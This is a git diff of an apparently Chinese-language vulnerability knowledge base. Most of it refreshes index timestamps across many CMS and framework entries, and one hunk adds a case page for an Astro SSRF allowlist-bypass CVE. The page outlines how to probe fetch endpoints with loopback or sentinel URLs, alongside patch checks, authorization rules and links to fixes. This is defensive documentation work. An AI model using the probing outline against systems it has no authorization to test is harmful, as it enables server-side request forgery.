diff --git a/07-framework-security/cms/directus/INDEX.md b/07-framework-security/cms/directus/INDEX.md index 8f617ae6..44348c18 100644 --- a/07-framework-security/cms/directus/INDEX.md +++ b/07-framework-security/cms/directus/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `29` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/cms/discourse/INDEX.md b/07-framework-security/cms/discourse/INDEX.md index f4ca982e..4b361c7e 100644 --- a/07-framework-security/cms/discourse/INDEX.md +++ b/07-framework-security/cms/discourse/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `30` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/cms/drupal/INDEX.md b/07-framework-security/cms/drupal/INDEX.md index 7fccb027..a06159cf 100644 --- a/07-framework-security/cms/drupal/INDEX.md +++ b/07-framework-security/cms/drupal/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `70` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/cms/ghost/INDEX.md b/07-framework-security/cms/ghost/INDEX.md index b68d2541..1dafd0f8 100644 --- a/07-framework-security/cms/ghost/INDEX.md +++ b/07-framework-security/cms/ghost/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `23` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/cms/joomla/INDEX.md b/07-framework-security/cms/joomla/INDEX.md index 751a1c7d..1781b2ab 100644 --- a/07-framework-security/cms/joomla/INDEX.md +++ b/07-framework-security/cms/joomla/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `100` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/cms/mediawiki/INDEX.md b/07-framework-security/cms/mediawiki/INDEX.md index 2a554486..3636fae5 100644 --- a/07-framework-security/cms/mediawiki/INDEX.md +++ b/07-framework-security/cms/mediawiki/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `70` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/cms/moodle/INDEX.md b/07-framework-security/cms/moodle/INDEX.md index b63f8180..9e16cf13 100644 --- a/07-framework-security/cms/moodle/INDEX.md +++ b/07-framework-security/cms/moodle/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `40` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/cms/strapi/INDEX.md b/07-framework-security/cms/strapi/INDEX.md index e2f05788..a98303a7 100644 --- a/07-framework-security/cms/strapi/INDEX.md +++ b/07-framework-security/cms/strapi/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `26` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/cms/wordpress/INDEX.md b/07-framework-security/cms/wordpress/INDEX.md index 73fa7ae5..6343e6a7 100644 --- a/07-framework-security/cms/wordpress/INDEX.md +++ b/07-framework-security/cms/wordpress/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `140` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/adobe-commerce/INDEX.md b/07-framework-security/ecommerce/adobe-commerce/INDEX.md index a819d866..550bc602 100644 --- a/07-framework-security/ecommerce/adobe-commerce/INDEX.md +++ b/07-framework-security/ecommerce/adobe-commerce/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `81` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/magento-open-source/INDEX.md b/07-framework-security/ecommerce/magento-open-source/INDEX.md index e37c464d..90efffe8 100644 --- a/07-framework-security/ecommerce/magento-open-source/INDEX.md +++ b/07-framework-security/ecommerce/magento-open-source/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `89` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/medusa/INDEX.md b/07-framework-security/ecommerce/medusa/INDEX.md index 1014b7f3..590ce5ca 100644 --- a/07-framework-security/ecommerce/medusa/INDEX.md +++ b/07-framework-security/ecommerce/medusa/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `15` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/opencart/INDEX.md b/07-framework-security/ecommerce/opencart/INDEX.md index 3e9346b3..5c5e0f1d 100644 --- a/07-framework-security/ecommerce/opencart/INDEX.md +++ b/07-framework-security/ecommerce/opencart/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `100` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/openmage/INDEX.md b/07-framework-security/ecommerce/openmage/INDEX.md index 980fed36..7996bf96 100644 --- a/07-framework-security/ecommerce/openmage/INDEX.md +++ b/07-framework-security/ecommerce/openmage/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `27` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/prestashop/INDEX.md b/07-framework-security/ecommerce/prestashop/INDEX.md index 0b30af77..0f99e1de 100644 --- a/07-framework-security/ecommerce/prestashop/INDEX.md +++ b/07-framework-security/ecommerce/prestashop/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `114` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/saleor/INDEX.md b/07-framework-security/ecommerce/saleor/INDEX.md index 130cd0aa..141da60d 100644 --- a/07-framework-security/ecommerce/saleor/INDEX.md +++ b/07-framework-security/ecommerce/saleor/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `24` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/shopware/INDEX.md b/07-framework-security/ecommerce/shopware/INDEX.md index b214a6d2..78df2623 100644 --- a/07-framework-security/ecommerce/shopware/INDEX.md +++ b/07-framework-security/ecommerce/shopware/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `71` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/woocommerce/INDEX.md b/07-framework-security/ecommerce/woocommerce/INDEX.md index ad72afc4..5bf46053 100644 --- a/07-framework-security/ecommerce/woocommerce/INDEX.md +++ b/07-framework-security/ecommerce/woocommerce/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `111` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/angular/INDEX.md b/07-framework-security/frameworks/angular/INDEX.md index d3ed1ad5..e7439942 100644 --- a/07-framework-security/frameworks/angular/INDEX.md +++ b/07-framework-security/frameworks/angular/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/aspnet-core/INDEX.md b/07-framework-security/frameworks/aspnet-core/INDEX.md index 0e16beac..d7ddf6da 100644 --- a/07-framework-security/frameworks/aspnet-core/INDEX.md +++ b/07-framework-security/frameworks/aspnet-core/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `3` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/astro/INDEX.md b/07-framework-security/frameworks/astro/INDEX.md index 0453dfd7..a9b1e0fe 100644 --- a/07-framework-security/frameworks/astro/INDEX.md +++ b/07-framework-security/frameworks/astro/INDEX.md @@ -5,14 +5,14 @@ - 系统 ID: `astro` - 分类: `frameworks` - 覆盖策略: `rolling-24m` -- 总案例数: `14` -- 近 30 天新增/更新: `0` -- 重点 Markdown 案例数: `14` +- 总案例数: `15` +- 近 30 天新增/更新: `1` +- 重点 Markdown 案例数: `15` - 已实证(真实版本): `0` - 已实证(synthetic): `0` - 阻塞数: `0` -- 待人工/缺浏览器证据: `14` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 待人工/缺浏览器证据: `15` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 @@ -31,6 +31,7 @@ | 标题 | 严重度 | 案例状态 | 实证状态 | 实证方式 | 来源置信度 | 更新时间 | 案例页 | |------|--------|----------|----------|----------|------------|----------|--------| +| Astro: Remote allowlist bypass via unanchored matchPathname wildcard | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-26T19:01:26.420643Z` | [link](/Users/x/websafe/07-framework-security/frameworks/astro/cases/astro-cve-2026-33769.md) | | Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765 | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-02-04T02:27:12.689316Z` | [link](/Users/x/websafe/07-framework-security/frameworks/astro/cases/astro-cve-2025-66202.md) | | Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2025-11-27T08:33:26.119485Z` | [link](/Users/x/websafe/07-framework-security/frameworks/astro/cases/astro-cve-2025-65019.md) | | Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values | `medium` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-02-04T03:01:27.986221Z` | [link](/Users/x/websafe/07-framework-security/frameworks/astro/cases/astro-cve-2025-64765.md) | diff --git a/07-framework-security/frameworks/astro/cases/astro-cve-2026-33769.md b/07-framework-security/frameworks/astro/cases/astro-cve-2026-33769.md new file mode 100644 index 00000000..5b1e0b92 --- /dev/null +++ b/07-framework-security/frameworks/astro/cases/astro-cve-2026-33769.md @@ -0,0 +1,162 @@ +--- +title: "Astro: Remote allowlist bypass via unanchored matchPathname wildcard" +system_id: "astro" +category: "frameworks" +advisory_mode: "core" +published_date: "2026-03-26T18:45:17Z" +updated_date: "2026-03-26T19:01:26.420643Z" +severity: "low" +exploit_status: "unknown" +source_confidence: "official" +verification_status: "triage-manual" +verification_mode: "synthetic" +artifact_mode: "synthetic" +last_run_id: "" +target_types: + - "lab-local" + - "lab-public" + - "authorized-third-party" +allow_public_validation: "yes, with ownership or explicit authorization" +authorization_prerequisite: "asset ownership proof or explicit written authorization" +minimal_validation: "read-only probe, controlled payload, reversible test" +aliases: + - "CVE-2026-33769" + - "GHSA-g735-7g2w-hh3f" +affected_versions: + - "introduced=2.10.10, fixed<5.18.1" +fixed_versions: + - "5.18.1" +entity_refs: + - "astro:system:root-system" + - "astro--project--astro:project:affected-component" +secure_code_topics: + - "authz-server-side-recheck" + - "csp-trusted-types" + - "ssrf-url-validation" + - "dependency-upgrade-policy" +primary_source: "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f" +--- + +# Astro: Remote allowlist bypass via unanchored matchPathname wildcard + +## 本地实证状态 + +- 实证状态: `triage-manual` +- 实证方式: `synthetic` +- Artifact 模式: `synthetic` +- 最近运行: `-` +- 浏览器证据: `missing` +- Run Bundle: `-` + +## 事件层 + +- Canonical ID: `astro--CVE-2026-33769` +- 系统: `astro` +- 严重度: `low` +- 来源置信度: `official` +- 官方主源: https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f +- 影响版本: `introduced=2.10.10, fixed<5.18.1` +- 修复版本: `5.18.1` + +## 对象与版本映射 + +- Advisory Scope: `package` +- 影响对象: `astro` +- Entity Refs: `astro, astro--project--astro` +- 版本置信度: `high` +- 版本缺口: `-` +- 版本证据源: `https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f, https://nvd.nist.gov/vuln/detail/CVE-2026-33769, https://github.com/withastro/astro` + +## 受控验证流程 + +- Workflow ID: `astro--CVE-2026-33769--workflow` +- 漏洞家族: `ssrf` +- 入口面: `remote-fetch-or-webhook-endpoint` +- 需要角色: `editor-or-admin` +- 触发向量: 对 `ssrf` 家族入口投递最小化、可审计、可回滚的受控输入,比较修复前后差异。 +- 请求/页面入口: `/webhook/test, /remote-fetch, /import-url` +- 输入形态: 提交受控回环或哨兵 URL,验证协议、主机、IP 与重定向限制。 +- 预期不安全行为: 服务端向受控目标发起非预期请求。 + +## 其他来源 + +- https://nvd.nist.gov/vuln/detail/CVE-2026-33769 +- https://github.com/withastro/astro + +## 证据点与补丁验证 + +### 服务端证据点 + +- 应用日志中的命中路径、鉴权决策和异常栈 +- 反向代理或边界层日志中的请求头、来源 IP 与路由决策 + +### 浏览器证据点 + +- 基线截图与攻击后截图的 DOM/视觉差异 +- console、network 与 response metadata 中的异常信号 + +### 数据库/文件系统证据点 + +- 数据库中新增/越权读取的测试数据 +- 文件系统中新增上传样本、缓存条目或越权读取痕迹 + +### 检测信号 + +- WAF / reverse proxy 异常日志、访问日志和告警 +- 应用审计日志中的权限错误、重定向异常、模板渲染或上传落盘事件 + +### 补丁验证步骤 + +- 确认目标版本从 `introduced=2.10.10, fixed<5.18.1` 升级或回移到 `5.18.1`。 +- 保留同一组受控输入,在修复前后分别执行并比对响应、日志与浏览器证据。 +- 确认修复后仅保留预期业务行为,不再触发越权、回显、异常渲染或错误请求。 +- 补充 `ssrf` 族自动化回归,避免同类路径在插件、主题或代理链中回归。 + +### 实验安全备注 + +- 只使用回环地址、哨兵目标、无害样本或可回滚测试数据。 +- 禁止造成持久破坏、越权下载真实数据或不可回滚 side effect。 +- 如需浏览器证据,保留 baseline / proof 两份快照以及 console / network 记录。 + +## 实验层 + +- 仅用于自有资产、测试环境或已明确授权目标。 +- 允许公网可达目标,但必须满足资产归属或明确授权前提。 +- 最小化验证方式: 最小化验证、只读探测、可审计回显、受控注入。 +- 若该案例涉及插件、模块或扩展,应同时检查供应链与升级策略。 +- 禁止场景: 无归属证明或无明确授权的公网目标;知名公共网站或与测试无关的第三方资产;会造成持久破坏、数据越权下载或不可回滚影响的动作 + +## 修复示例 + +- [javascript-typescript:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/javascript-typescript/authz-server-side-recheck.md) +- [nodejs:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/nodejs/authz-server-side-recheck.md) +- [java:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/java/authz-server-side-recheck.md) +- [php:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/php/authz-server-side-recheck.md) +- [python:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/python/authz-server-side-recheck.md) +- [ruby:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/ruby/authz-server-side-recheck.md) +- [csharp:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/csharp/authz-server-side-recheck.md) +- [go:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/go/authz-server-side-recheck.md) +- [javascript-typescript:csp-trusted-types](/Users/x/websafe/05-defense/secure-code/javascript-typescript/csp-trusted-types.md) +- [nodejs:csp-trusted-types](/Users/x/websafe/05-defense/secure-code/nodejs/csp-trusted-types.md) +- [java:csp-trusted-types](/Users/x/websafe/05-defense/secure-code/java/csp-trusted-types.md) +- [php:csp-trusted-types](/Users/x/websafe/05-defense/secure-code/php/csp-trusted-types.md) +- [python:csp-trusted-types](/Users/x/websafe/05-defense/secure-code/python/csp-trusted-types.md) +- [ruby:csp-trusted-types](/Users/x/websafe/05-defense/secure-code/ruby/csp-trusted-types.md) +- [csharp:csp-trusted-types](/Users/x/websafe/05-defense/secure-code/csharp/csp-trusted-types.md) +- [go:csp-trusted-types](/Users/x/websafe/05-defense/secure-code/go/csp-trusted-types.md) +- [javascript-typescript:ssrf-url-validation](/Users/x/websafe/05-defense/secure-code/javascript-typescript/ssrf-url-validation.md) +- [nodejs:ssrf-url-validation](/Users/x/websafe/05-defense/secure-code/nodejs/ssrf-url-validation.md) +- [java:ssrf-url-validation](/Users/x/websafe/05-defense/secure-code/java/ssrf-url-validation.md) +- [php:ssrf-url-validation](/Users/x/websafe/05-defense/secure-code/php/ssrf-url-validation.md) +- [python:ssrf-url-validation](/Users/x/websafe/05-defense/secure-code/python/ssrf-url-validation.md) +- [ruby:ssrf-url-validation](/Users/x/websafe/05-defense/secure-code/ruby/ssrf-url-validation.md) +- [csharp:ssrf-url-validation](/Users/x/websafe/05-defense/secure-code/csharp/ssrf-url-validation.md) +- [go:ssrf-url-validation](/Users/x/websafe/05-defense/secure-code/go/ssrf-url-validation.md) +- [javascript-typescript:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/javascript-typescript/dependency-upgrade-policy.md) +- [nodejs:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/nodejs/dependency-upgrade-policy.md) +- [java:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/java/dependency-upgrade-policy.md) +- [php:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/php/dependency-upgrade-policy.md) +- [python:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/python/dependency-upgrade-policy.md) +- [ruby:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/ruby/dependency-upgrade-policy.md) +- [csharp:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/csharp/dependency-upgrade-policy.md) +- [go:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/go/dependency-upgrade-policy.md) diff --git a/07-framework-security/frameworks/django/INDEX.md b/07-framework-security/frameworks/django/INDEX.md index f5d4f6cc..2b292987 100644 --- a/07-framework-security/frameworks/django/INDEX.md +++ b/07-framework-security/frameworks/django/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `82` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/echo/INDEX.md b/07-framework-security/frameworks/echo/INDEX.md index ec349b62..288688c1 100644 --- a/07-framework-security/frameworks/echo/INDEX.md +++ b/07-framework-security/frameworks/echo/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/esbuild/INDEX.md b/07-framework-security/frameworks/esbuild/INDEX.md index a0a63547..b5491cd7 100644 --- a/07-framework-security/frameworks/esbuild/INDEX.md +++ b/07-framework-security/frameworks/esbuild/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/express/INDEX.md b/07-framework-security/frameworks/express/INDEX.md index b0cf4609..2689fb99 100644 --- a/07-framework-security/frameworks/express/INDEX.md +++ b/07-framework-security/frameworks/express/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/fastify/INDEX.md b/07-framework-security/frameworks/fastify/INDEX.md index 71f09173..5b638907 100644 --- a/07-framework-security/frameworks/fastify/INDEX.md +++ b/07-framework-security/frameworks/fastify/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/flask/INDEX.md b/07-framework-security/frameworks/flask/INDEX.md index e65fd807..673ae234 100644 --- a/07-framework-security/frameworks/flask/INDEX.md +++ b/07-framework-security/frameworks/flask/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/gin/INDEX.md b/07-framework-security/frameworks/gin/INDEX.md index c291777a..b1f0e1e6 100644 --- a/07-framework-security/frameworks/gin/INDEX.md +++ b/07-framework-security/frameworks/gin/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/hapi/INDEX.md b/07-framework-security/frameworks/hapi/INDEX.md index 16066314..3047ea03 100644 --- a/07-framework-security/frameworks/hapi/INDEX.md +++ b/07-framework-security/frameworks/hapi/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/koa/INDEX.md b/07-framework-security/frameworks/koa/INDEX.md index 6c3681f3..d4c26a89 100644 --- a/07-framework-security/frameworks/koa/INDEX.md +++ b/07-framework-security/frameworks/koa/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/laravel/INDEX.md b/07-framework-security/frameworks/laravel/INDEX.md index 844a8bf6..5ee2c44c 100644 --- a/07-framework-security/frameworks/laravel/INDEX.md +++ b/07-framework-security/frameworks/laravel/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nestjs/INDEX.md b/07-framework-security/frameworks/nestjs/INDEX.md index d1ad5ec3..fdba7bea 100644 --- a/07-framework-security/frameworks/nestjs/INDEX.md +++ b/07-framework-security/frameworks/nestjs/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nextjs/INDEX.md b/07-framework-security/frameworks/nextjs/INDEX.md index 6623f862..1d282f27 100644 --- a/07-framework-security/frameworks/nextjs/INDEX.md +++ b/07-framework-security/frameworks/nextjs/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `40` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nodejs/INDEX.md b/07-framework-security/frameworks/nodejs/INDEX.md index ae85f199..5295ce91 100644 --- a/07-framework-security/frameworks/nodejs/INDEX.md +++ b/07-framework-security/frameworks/nodejs/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `8` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nuxt/INDEX.md b/07-framework-security/frameworks/nuxt/INDEX.md index 856980d9..2033a7e9 100644 --- a/07-framework-security/frameworks/nuxt/INDEX.md +++ b/07-framework-security/frameworks/nuxt/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `28` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/rails/INDEX.md b/07-framework-security/frameworks/rails/INDEX.md index 6730375f..fc2434b3 100644 --- a/07-framework-security/frameworks/rails/INDEX.md +++ b/07-framework-security/frameworks/rails/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `42` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/react/INDEX.md b/07-framework-security/frameworks/react/INDEX.md index 54e5e09f..22eece85 100644 --- a/07-framework-security/frameworks/react/INDEX.md +++ b/07-framework-security/frameworks/react/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `21` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/spring-boot/INDEX.md b/07-framework-security/frameworks/spring-boot/INDEX.md index 70ba07eb..df35d5b8 100644 --- a/07-framework-security/frameworks/spring-boot/INDEX.md +++ b/07-framework-security/frameworks/spring-boot/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/spring-framework/INDEX.md b/07-framework-security/frameworks/spring-framework/INDEX.md index 00258245..5da0831d 100644 --- a/07-framework-security/frameworks/spring-framework/INDEX.md +++ b/07-framework-security/frameworks/spring-framework/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `11` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/spring-security/INDEX.md b/07-framework-security/frameworks/spring-security/INDEX.md index 4ce8fc41..215ffae1 100644 --- a/07-framework-security/frameworks/spring-security/INDEX.md +++ b/07-framework-security/frameworks/spring-security/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `4` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/sveltekit/INDEX.md b/07-framework-security/frameworks/sveltekit/INDEX.md index e4fdc35d..2b7b131b 100644 --- a/07-framework-security/frameworks/sveltekit/INDEX.md +++ b/07-framework-security/frameworks/sveltekit/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `3` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/symfony/INDEX.md b/07-framework-security/frameworks/symfony/INDEX.md index 1ad5ba8c..f44477f2 100644 --- a/07-framework-security/frameworks/symfony/INDEX.md +++ 